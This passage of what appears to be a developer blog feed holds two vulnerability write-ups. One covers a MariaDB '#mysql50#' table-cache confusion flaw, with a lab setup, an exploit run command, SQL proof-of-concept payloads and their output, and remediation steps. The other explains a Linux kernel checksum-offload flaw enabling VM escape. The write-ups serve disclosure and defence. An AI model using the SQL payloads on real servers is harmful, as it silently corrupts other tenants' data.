&lt;p&gt;The &lt;code&gt;id=2&lt;/code&gt; row — inserted only into &lt;code&gt;#mysql50#t&lt;/code&gt; — &lt;strong&gt;shows up when querying the original table &lt;code&gt;t&lt;/code&gt;.&lt;/strong&gt; The &lt;code&gt;#mysql50#&lt;/code&gt; prefix influenced cache-key computation in a way that made the server treat the two as &lt;strong&gt;the same shared table (share) with the same handler.&lt;/strong&gt; The one-byte value inserted (&lt;code&gt;0x42&lt;/code&gt;) gets reinterpreted against &lt;code&gt;t&lt;/code&gt;'s &lt;code&gt;BINARY(10)&lt;/code&gt; definition, padded with nine zero bytes — proof that two "separate tables" were, in fact, sharing a single storage slot the entire time.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgqv2oh74mqiviruybi02.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgqv2oh74mqiviruybi02.png" alt=" " width="800" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — impact: what's public stops at "silent corruption"; the rest is undisclosed
&lt;/h3&gt;

&lt;p&gt;MariaDB's official advisory describes the impact broadly, as "file access, crashes, data corruption, data exfiltration, or remote code execution." What the public PoC actually demonstrates is limited to &lt;strong&gt;data corruption (which succeeds silently, with no error message at all) and the fact that unencoded files accumulate in the data directory.&lt;/strong&gt; The fact alone that tables with different names can bleed into each other at the cache level is already a serious problem for any application built on the assumption of privilege separation or data integrity. The specific chain that leads to crashes, exfiltration, or remote code execution isn't documented in detail in any public source.&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/ed1GSHD4nOw" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h2&gt;
  
  
  Full PoC walkthrough — the actual published reproduction steps
&lt;/h2&gt;

&lt;p&gt;Researcher SeanDishman published a PoC for this CVE bundled together with CVE-2026-85746 and CVE-2026-85748 in a single repository. Here's the full structure and what each part demonstrates.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lab environment setup
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# server/docker-compose.yml&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;mariadb&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mariadb:13.0.1-rc&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;MARIADB_ROOT_PASSWORD&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;root&lt;/span&gt;
      &lt;span class="na"&gt;MARIADB_DATABASE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;appdb&lt;/span&gt;
      &lt;span class="na"&gt;MARIADB_USER&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;lowpriv&lt;/span&gt;
      &lt;span class="na"&gt;MARIADB_PASSWORD&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;lowpriv&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3306:3306"&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--core-file"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One design choice here is worth flagging. The &lt;code&gt;lowpriv&lt;/code&gt; account gets only &lt;code&gt;ALL&lt;/code&gt; on the &lt;code&gt;appdb&lt;/code&gt; schema — no &lt;code&gt;FILE&lt;/code&gt;, no &lt;code&gt;SUPER&lt;/code&gt;, no global privilege, no plugin-loading capability whatsoever. In other words, this PoC is deliberately built to demonstrate that it works with &lt;strong&gt;nothing more than an ordinary account that creates and writes tables within its own schema&lt;/strong&gt; — the kind any typical application might have. The &lt;code&gt;--core-file&lt;/code&gt; flag exists for the other two CVEs (which crash the server); this CVE on its own doesn't bring the server down.&lt;/p&gt;

&lt;h3&gt;
  
  
  Running it
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;server &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; bash start.sh
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
python client/exploit.py &lt;span class="nt"&gt;--cve&lt;/span&gt; 92262
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;client/exploit.py&lt;/code&gt; does nothing more exotic than send the same SQL statements found in &lt;code&gt;client/sql/cve-2026-92262.sql&lt;/code&gt;, one at a time, over the standard MariaDB protocol. There's no exploit framework, no shellcode involved — it's &lt;strong&gt;just an automated version of what any ordinary SQL client would do.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The core payload — five lines proving table-cache confusion
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt; &lt;span class="nb"&gt;BINARY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MEMORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;REPEAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;`#mysql50#t`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt; &lt;span class="nb"&gt;BINARY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MEMORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="nv"&gt;`#mysql50#t`&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x42&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HEX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Lines 1–2: create an ordinary table &lt;code&gt;t&lt;/code&gt; and insert one row with the value "0x41 repeated ten times." This becomes the baseline for checking later whether &lt;code&gt;t&lt;/code&gt;'s data stayed unchanged.&lt;/li&gt;
&lt;li&gt;Line 3: create "another table" — with a different column definition entirely — carrying the &lt;code&gt;#mysql50#&lt;/code&gt; prefix. On a correct server, this should be a third table, entirely unrelated to &lt;code&gt;t&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Line 4: insert a completely different row into that "other table."&lt;/li&gt;
&lt;li&gt;Line 5: query the original &lt;code&gt;t&lt;/code&gt; again. If there's no cache confusion, this should return only the one row inserted in line 1.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What was observed, and what it means
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BEFORE   id=1  hex=41414141414141414141
MYSQL50  id=1  hex=41
MYSQL50  id=2  hex=42
AFTER_T  id=1  hex=41414141414141414141
AFTER_T  id=2  hex=42000000000000000000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the &lt;code&gt;AFTER_T&lt;/code&gt; section — querying the original table &lt;code&gt;t&lt;/code&gt; again — &lt;strong&gt;the &lt;code&gt;id=2&lt;/code&gt; row, which was only ever inserted into &lt;code&gt;#mysql50#t&lt;/code&gt;, shows up mixed in.&lt;/strong&gt; This is the entire point the PoC proves: two syntactically distinct &lt;code&gt;CREATE TABLE&lt;/code&gt; statements executed, yet internally the server treated them as one object sharing a single storage slot.&lt;/p&gt;

&lt;p&gt;A second payload demonstrates the missing encoding on its own.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;`#mysql50#a-b`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MyISAM&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checking the data directory after this command shows unencoded files named &lt;code&gt;a-b.frm&lt;/code&gt;, &lt;code&gt;a-b.MYD&lt;/code&gt;, &lt;code&gt;a-b.MYI&lt;/code&gt; — and &lt;code&gt;a@002db.frm&lt;/code&gt;, what correct encoding should have produced, simply doesn't exist. The PoC repository states that these two payloads alone are sufficient to establish "data corruption, and writing unexpected filenames under the data directory" — and it does not publish a chain extending this further into a crash or code execution.&lt;/p&gt;

&lt;h3&gt;
  
  
  What this PoC tells you — and what it doesn't
&lt;/h3&gt;

&lt;p&gt;This PoC is focused on demonstrating a flaw that reproduces quietly. The server doesn't crash, and nothing shows up as a warning in the error log — which arguably makes it more dangerous, since an operator has no obvious way to notice an attack succeeded. What this PoC does not show is &lt;strong&gt;exactly how this cache confusion or unencoded-file creation gets escalated into a crash or arbitrary code execution.&lt;/strong&gt; The "remote code execution" possibility named in the vendor advisory may require these two primitives to be combined with some additional condition — for instance, a crafted filename colliding with a different path the server later references — but that specific path can't be confirmed from publicly available material alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  The patch — separating "skip" from "confuse"
&lt;/h2&gt;

&lt;p&gt;The patched versions keep the &lt;code&gt;#mysql50#&lt;/code&gt; prefix's compatibility purpose intact (referencing a legacy-encoded name without re-encoding it), while fixing it so the prefix no longer affects table cache key computation. &lt;code&gt;#mysql50#t&lt;/code&gt; and &lt;code&gt;t&lt;/code&gt; are no longer treated as the same cache entry.&lt;/p&gt;

&lt;p&gt;The lesson here is clear. When a compatibility "exception branch" doesn't precisely control the scope of what it affects, it can end up influencing far more than intended (skipping filename encoding) — reaching into things like cache identity and object-equality decisions. When two different subsystems (filename generation and cache-key computation) share the same string preprocessing logic, changing that one piece of logic can quietly change behavior in both places at once.&lt;/p&gt;

&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update MariaDB to the patched version for your branch: 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, or 13.0.2.&lt;/li&gt;
&lt;li&gt;Until you update, if your application has no need for &lt;code&gt;CREATE TABLE&lt;/code&gt;/&lt;code&gt;RENAME TABLE&lt;/code&gt; statements using a &lt;code&gt;#mysql50#&lt;/code&gt;-prefixed name, filtering out that query pattern at the application or proxy layer can serve as a temporary mitigation.&lt;/li&gt;
&lt;li&gt;Because this flaw requires no special privilege (an ordinary &lt;code&gt;CREATE&lt;/code&gt;/&lt;code&gt;INSERT&lt;/code&gt; grant on your own schema is enough), it deserves particular priority in multi-tenant environments or SaaS-style services where users can create their own tables.&lt;/li&gt;
&lt;li&gt;If exposure is possible, check the data directory for unencoded filenames containing special characters (&lt;code&gt;.frm&lt;/code&gt;/&lt;code&gt;.MYD&lt;/code&gt;/&lt;code&gt;.MYI&lt;/code&gt; files with anything beyond alphanumerics and underscores), and review query logs for table creation or manipulation attempts using the &lt;code&gt;#mysql50#&lt;/code&gt; prefix.&lt;/li&gt;
&lt;li&gt;Given this flaw's tendency to succeed silently, don't fully trust data integrity from before the patch was applied — for critical tables, it's worth running an integrity check against a known-good backup rather than assuming nothing happened.&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>CVE-2026-99999 (PwnEscape) Explained: How a Single Checksum Rewrote an IPv4 Header and Broke VM Isolation</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 20 Oct 2026 09:37:20 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-99999-pwnescape-explained-how-a-single-checksum-rewrote-an-ipv4-header-and-broke-vm-2g2d</link>
      <guid>https://dev.to/guidance_white/cve-2026-99999-pwnescape-explained-how-a-single-checksum-rewrote-an-ipv4-header-and-broke-vm-2g2d</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feq2mn2lc2pyjm96dk5gy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feq2mn2lc2pyjm96dk5gy.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-99999 (named "PwnEscape" by the researchers)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;The Linux kernel's networking stack (IPv4 checksum offload handling) — any host interacting with guest VMs over virtio-net&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scope&lt;/td&gt;
&lt;td&gt;Effectively every kernel branch prior to the mainline fix (&lt;code&gt;6785011f8b16&lt;/code&gt;) — Debian, RHEL, AlmaLinux, CloudLinux, and others are each backporting independently&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed by&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;6785011f8b16&lt;/code&gt; (&lt;code&gt;ipv4: validate checksum_start before completing checksum&lt;/code&gt;), landed in &lt;code&gt;net.git&lt;/code&gt; on 2026-10-08, merged to mainline 2026-10-14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;cve.org: 9.3 (Critical), &lt;code&gt;AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&lt;/code&gt; — Red Hat scores it differently (8.8, Important) over a disagreement on the privileges-required metric&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;A logic flaw in the TOCTOU (time-of-check/time-of-use) family (CWE-367-adjacent) — metadata that crossed a trust boundary later altered a state that had already been validated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;Paulos Yibelo (PWNAI Research) — found during Vercel's "$1 Million Sandbox Challenge," privately reported to kernel security maintainers on 2026-09-04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nature&lt;/td&gt;
&lt;td&gt;A &lt;strong&gt;guest-to-host VM escape primitive&lt;/strong&gt;. Not a flaw in KVM itself — a flaw in the host's own Linux networking stack that breaks hypervisor isolation from the other side&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is both the highest-impact and the most carefully-handled CVE covered on this blog so far. Unlike an authentication bypass or a file-upload flaw in a web application, this is &lt;strong&gt;a path that lets one virtual machine attack the physical host it's running on.&lt;/strong&gt; Because this is a structural issue affecting cloud providers, sandboxing services, and multi-tenant hosting broadly, this post deliberately separates what's publicly documented from what the research team chose to keep undisclosed.&lt;/p&gt;

&lt;p&gt;The story starts with a $1 million security challenge Vercel launched for its Sandbox product in August 2026. PWNAI's Paulos Yibelo started from the question "how much can an untrusted guest influence the host kernel without ever touching the hypervisor itself?" and, within three days, found a flaw buried in Linux networking code. The essence of the flaw is simple: &lt;strong&gt;after the kernel "validated" a part of a packet, it allowed other code to "rewrite" that exact same part afterward.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — a promise to "write the checksum later" (checksum offload)
&lt;/h2&gt;

&lt;p&gt;Linux doesn't always compute transport-layer checksums immediately. It often carries a packet in a "not yet computed" state and fills it in later. To support this, &lt;code&gt;sk_buff&lt;/code&gt; (the structure representing a single packet inside the kernel) carries the following bookkeeping:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;skb-&amp;gt;ip_summed     CHECKSUM_PARTIAL   (checksum computation is still pending)
skb-&amp;gt;csum_start    where checksum computation should begin
skb-&amp;gt;csum_offset   offset from that point to where the result should be written

             final write location = csum_start + csum_offset
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The crucial detail: these values aren't just "descriptive metadata." &lt;strong&gt;They are, themselves, authorization to write to a specific location in packet memory later.&lt;/strong&gt; If a less-trusted party (here, a guest VM) can influence these values, their validity has to hold all the way from "when the metadata arrives" to "when the write actually happens."&lt;/p&gt;




&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — a packet has several different notions of "where it starts"
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sk_buff&lt;/code&gt; tracks several pointers/offsets that each represent "where the packet starts," simultaneously:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;skb-&amp;gt;head              start of the underlying allocated memory block
skb-&amp;gt;data              current data pointer (advances as headers get stripped)
skb-&amp;gt;network_header    position of the network-layer (IPv4) header
skb-&amp;gt;csum_start        the stored checksum-start position
skb_headlen(skb)       how much packet data is currently held linearly
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A packet arrives with link-layer headers like Ethernet still present, and those get stripped or skipped later for L3 (IP-layer) processing. The problem: &lt;strong&gt;"is this far enough into the entire frame?"&lt;/strong&gt; and &lt;strong&gt;"is this past this specific packet's IPv4 header?"&lt;/strong&gt; are completely different questions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — input validation was only "frame-relative" (flaw #1)
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;__virtio_net_hdr_to_skb()&lt;/code&gt;, which accepts checksum metadata sent by the guest over virtio-net, had an existing check based on &lt;code&gt;skb_transport_offset(skb)&lt;/code&gt; — an offset relative to the current &lt;code&gt;skb-&amp;gt;data&lt;/code&gt; view.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* Conceptual comparison — reconstructed from the public research patch series */&lt;/span&gt;
&lt;span class="n"&gt;transport_offset&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;minimum_network_header_length&lt;/span&gt;               &lt;span class="c1"&gt;// the existing check&lt;/span&gt;
&lt;span class="n"&gt;transport_offset&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;network_offset&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;minimum_network_header_length&lt;/span&gt;   &lt;span class="c1"&gt;// the check that was actually needed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These two inequalities are not interchangeable. The first only guarantees "far enough into this entire frame"; it does not guarantee, like the second does, "far enough relative to the network header." When a packet still has extra link-layer structure present, the two coordinate systems can drift apart — what the researchers call "coordinate drift." This is the &lt;strong&gt;first trust failure&lt;/strong&gt; PWNAI identified: checksum metadata from a less-trusted origin entered host packet processing without ever being compared against the reference (the IPv4 header) that later code would actually use.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — the root cause: "validate first, then read the header" — except the order was reversed (flaw #2)
&lt;/h3&gt;

&lt;p&gt;The most important detail here is &lt;strong&gt;the order of operations.&lt;/strong&gt; The host receives a packet, parses it as IPv4, and carries out fragment processing and routing against a normal, trusted 20-byte header. The problem surfaces later, at the point where output-side fragmentation finally completes a pending checksum. Before the fix, &lt;code&gt;ip_do_fragment()&lt;/code&gt; in &lt;code&gt;net/ipv4/ip_output.c&lt;/code&gt; followed this ordering, conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* Pre-fix ordering, abbreviated for explanation — from the public patch commit */&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ip_summed&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CHECKSUM_PARTIAL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;skb_checksum_help&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;    &lt;span class="cm"&gt;/* performs the deferred checksum write FIRST */&lt;/span&gt;

&lt;span class="n"&gt;iph&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ip_hdr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cm"&gt;/* fragmentation logic later derives header length (hlen) from iph-&amp;gt;ihl */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;skb_checksum_help()&lt;/code&gt; isn't inherently dangerous. The danger here is that, with forged metadata, its write &lt;strong&gt;can land on bytes that have already been parsed as part of the IPv4 header&lt;/strong&gt; — and if that overlap happens to hit IPv4's &lt;code&gt;IHL&lt;/code&gt; field (Internet Header Length — the header length in 32-bit words, stored in the low 4 bits of the first byte), the consequences change completely.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;First byte of a normal packet:   0x45  →  version 4, IHL 5 words  →  header length 20 bytes
After the checksum write:        0x4f  →  version 4, IHL 15 words →  header length 60 bytes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The version nibble (&lt;code&gt;4&lt;/code&gt;) stays the same — only the length interpretation flips. What makes this worse: &lt;strong&gt;every earlier stage had already made its decisions assuming a 20-byte header.&lt;/strong&gt; Only the fragmentation code, much later, reads that quietly-updated field as if it had been that way all along. This isn't a race between threads — it's a fully deterministic, reproducible, &lt;strong&gt;semantic-level TOCTOU&lt;/strong&gt; (a mismatch between the time of validation and the time of use).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — believing the header is 60 bytes and copying that much comes up 32 bytes short
&lt;/h3&gt;

&lt;p&gt;In the research case, the actual logical, contiguous data in that &lt;code&gt;skb&lt;/code&gt; was only 28 bytes (the original 20-byte IPv4 header plus 8 bytes of payload present in the first fragment). But the forged IHL tells the fragmentation code "this header is 60 bytes."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;skb_headlen(skb) = 28   ← the logical packet data that actually exists
header_copy_len  = 60   ← what the forged IHL claims the header length is
difference       = 32   ← copied out and emitted as if it were "IP options"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 32 bytes beyond that 28-byte boundary aren't part of the packet at all — they're whatever &lt;strong&gt;other host kernel memory&lt;/strong&gt; happened to sit in the allocation's remaining tailroom. This isn't a read past the entire memory allocation (which is why it doesn't crash the kernel) — it's an out-of-bounds read relative to the data that &lt;code&gt;skb&lt;/code&gt; is logically responsible for. The moment these bytes get carried out, disguised as IP options, in a fragment that's actually transmitted off the host (toward the guest), an internal state problem becomes &lt;strong&gt;externally observable information disclosure.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fih5fiz3cqh99ceoazl5r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fih5fiz3cqh99ceoazl5r.png" alt=" " width="800" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — why this was an "escape primitive," not just a "leak"
&lt;/h3&gt;

&lt;p&gt;A reproducible, attacker-controlled host memory disclosure is already serious in a multi-tenant environment on its own. But the research team went further in their own, researcher-owned KVM environment. Using this read capability to narrow down uncertainty about host memory state, they report demonstrating &lt;strong&gt;selected 64-byte host-kernel writes&lt;/strong&gt;, and from there, within a bounded lab chain, executing a host-root helper and returning a host-generated marker back to the guest (confirmed across four independent, cold-boot reproductions).&lt;/p&gt;

